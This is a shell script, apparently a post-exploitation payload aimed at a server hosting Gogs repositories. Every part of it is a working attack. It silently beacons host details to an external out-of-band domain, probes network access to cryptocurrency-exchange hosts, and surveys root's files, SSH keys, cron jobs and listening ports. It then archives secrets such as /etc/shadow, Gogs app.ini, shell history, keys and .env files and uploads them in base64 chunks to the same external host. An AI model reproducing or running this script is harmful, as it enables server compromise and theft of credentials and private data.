#!/bin/sh
TAG="4357788"
H="cd4547282df75cd148eb4c445c6d2abae.oast.pro"
D=$( { id; hostname; uname -a; date -u; } 2>&1 | base64 -w0 2>/dev/null | tr '+/' '-_' | tr -d '=' )
if command -v curl >/dev/null 2>&1; then
  curl -s -m 8 -o /dev/null "http://$H/x/$TAG/start/$D" || true
else
  wget -q -T 8 -O /dev/null "http://$H/x/$TAG/start/$D" || true
fi
(
  W=/tmp/.px$TAG
  rm -rf "$W"; mkdir -p "$W"
  exec </dev/null >/dev/null 2>&1
  {
    echo "TAG=$TAG"; date -u; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ARGS=$*";
  } > "$W/00_info.txt"
  {
    for hp in 37.187.9.48:22 37.187.9.48:443 37.187.9.48:80 bitcoin-mjenjacnica.hr:443 electrocoin.eu:443 paycek.io:443; do
      h=${hp%:*}; p=${hp#*:};
      timeout 6 bash -c "exec 3<>/dev/tcp/$h/$p" 2>/dev/null && echo "$hp OPEN" || echo "$hp CLOSED";
    done
    echo "--- getent ---"; getent hosts bitcoin-mjenjacnica.hr electrocoin.eu paycek.io 2>&1
    echo "--- ip route ---"; ip route 2>&1; echo "--- resolv ---"; cat /etc/resolv.conf 2>&1
  } > "$W/01_net.txt"
  {
    echo "== /root =="; ls -la /root 2>&1
    echo "== /root depth2 =="; find /root -maxdepth 2 -mindepth 1 -printf '%M %u %g %s %TY-%Tm-%Td %p\n' 2>/dev/null | head -400
    echo "== gogs =="; ls -la /root/gogs 2>&1
    echo "== gogs-repositories =="; ls -la /root/gogs-repositories 2>&1
    echo "== repo dirs =="; find /root/gogs-repositories -maxdepth 3 -name '*.git' -type d 2>/dev/null
    echo "== ssh dir =="; ls -la /root/.ssh 2>&1
    echo "== gogs data =="; ls -la /root/gogs/data 2>&1
    echo "== home =="; ls -la /home 2>&1; ls -la /home/*/.ssh 2>/dev/null
  } > "$W/02_fs.txt"
  { ss -lntp 2>&1 || netstat -lntp 2>&1; } > "$W/03_ss.txt"
  {
    echo "== /etc/crontab =="; cat /etc/crontab 2>&1
    echo "== /etc/cron.d =="; ls -la /etc/cron.d 2>&1; cat /etc/cron.d/* 2>/dev/null
    echo "== /var/spool/cron =="; ls -laR /var/spool/cron 2>&1; cat /var/spool/cron/crontabs/* 2>/dev/null
    echo "== crontab -l =="; crontab -l 2>&1
    echo "== systemd units =="; ls -la /etc/systemd/system 2>&1
    echo "== timers =="; systemctl list-timers --no-pager 2>&1 | head -30
  } > "$W/04_cron.txt"
  : > "$W/files.list"
  for f in /root/gogs/custom/conf/app.ini /root/gogs/custom/conf/locale/locale.ini /root/.bash_history /root/.profile /root/.ssh /etc/hosts /etc/hostname /etc/passwd /etc/shadow /etc/group /root/.gitconfig; do
    [ -e "$f" ] && echo "$f" >> "$W/files.list"
  done
  find /root -maxdepth 3 -type f \( -name '.env*' -o -name 'docker-compose*' -o -name '*.sh' -o -name '*.yml' -o -name '*.yaml' -o -name '*.sql' -o -name '*.conf' -o -name '*.ini' -o -name '*.json' -o -name '*.pem' -o -name '*.key' -o -name 'id_*' -o -name '*.bak' \) -size -300k 2>/dev/null >> "$W/files.list"
  grep -v '^/root/gogs/data/tmp' "$W/files.list" > "$W/files2.list" 2>/dev/null
  mv "$W/files2.list" "$W/files.list"
  tar czf "$W/bundle.tgz" -T "$W/files.list" 2>/dev/null
  [ -s "$W/bundle.tgz" ] || tar czf "$W/bundle.tgz" /root/gogs/custom/conf/app.ini /etc/hosts 2>/dev/null
  if [ -s "$W/bundle.tgz" ]; then
    base64 -w0 "$W/bundle.tgz" > "$W/bundle.b64" 2>/dev/null || base64 "$W/bundle.tgz" | tr -d '\n' > "$W/bundle.b64"
    SZ=$(wc -c < "$W/bundle.b64")
    mkdir -p "$W/chunks"
    split -b 2500 "$W/bundle.b64" "$W/chunks/c_" 2>/dev/null
    N=0
    for c in "$W/chunks"/*; do
      N=$((N+1))
      if command -v curl >/dev/null 2>&1; then
        curl -s -m 20 -o /dev/null --data-binary "@$c" "http://$H/x/$TAG/b/$N" || true
      else
        wget -q -T 20 -O /dev/null --post-file="$c" "http://$H/x/$TAG/b/$N" || true
      fi
    done
    SHA=$(sha256sum "$W/bundle.tgz" 2>/dev/null | cut -d' ' -f1)
    MSG="size=$SZ chunks=$N sha=$SHA"
    if command -v curl >/dev/null 2>&1; then
      curl -s -m 10 -o /dev/null --data-binary "$MSG" "http://$H/x/$TAG/meta" || true
    else
      wget -q -T 10 -O /dev/null --post-data="$MSG" "http://$H/x/$TAG/meta" || true
    fi
  else
    if command -v curl >/dev/null 2>&1; then curl -s -m 10 -o /dev/null "http://$H/x/$TAG/notarb" || true; fi
  fi
  for f in "$W"/0*.txt; do
    b=$(basename "$f")
    if command -v curl >/dev/null 2>&1; then
      curl -s -m 15 -o /dev/null --data-binary "@$f" "http://$H/x/$TAG/f/$b" || true
    else
      wget -q -T 15 -O /dev/null --post-file="$f" "http://$H/x/$TAG/f/$b" || true
    fi
  done
) >> /tmp/.px$TAG.log 2>&1 &
exit 0
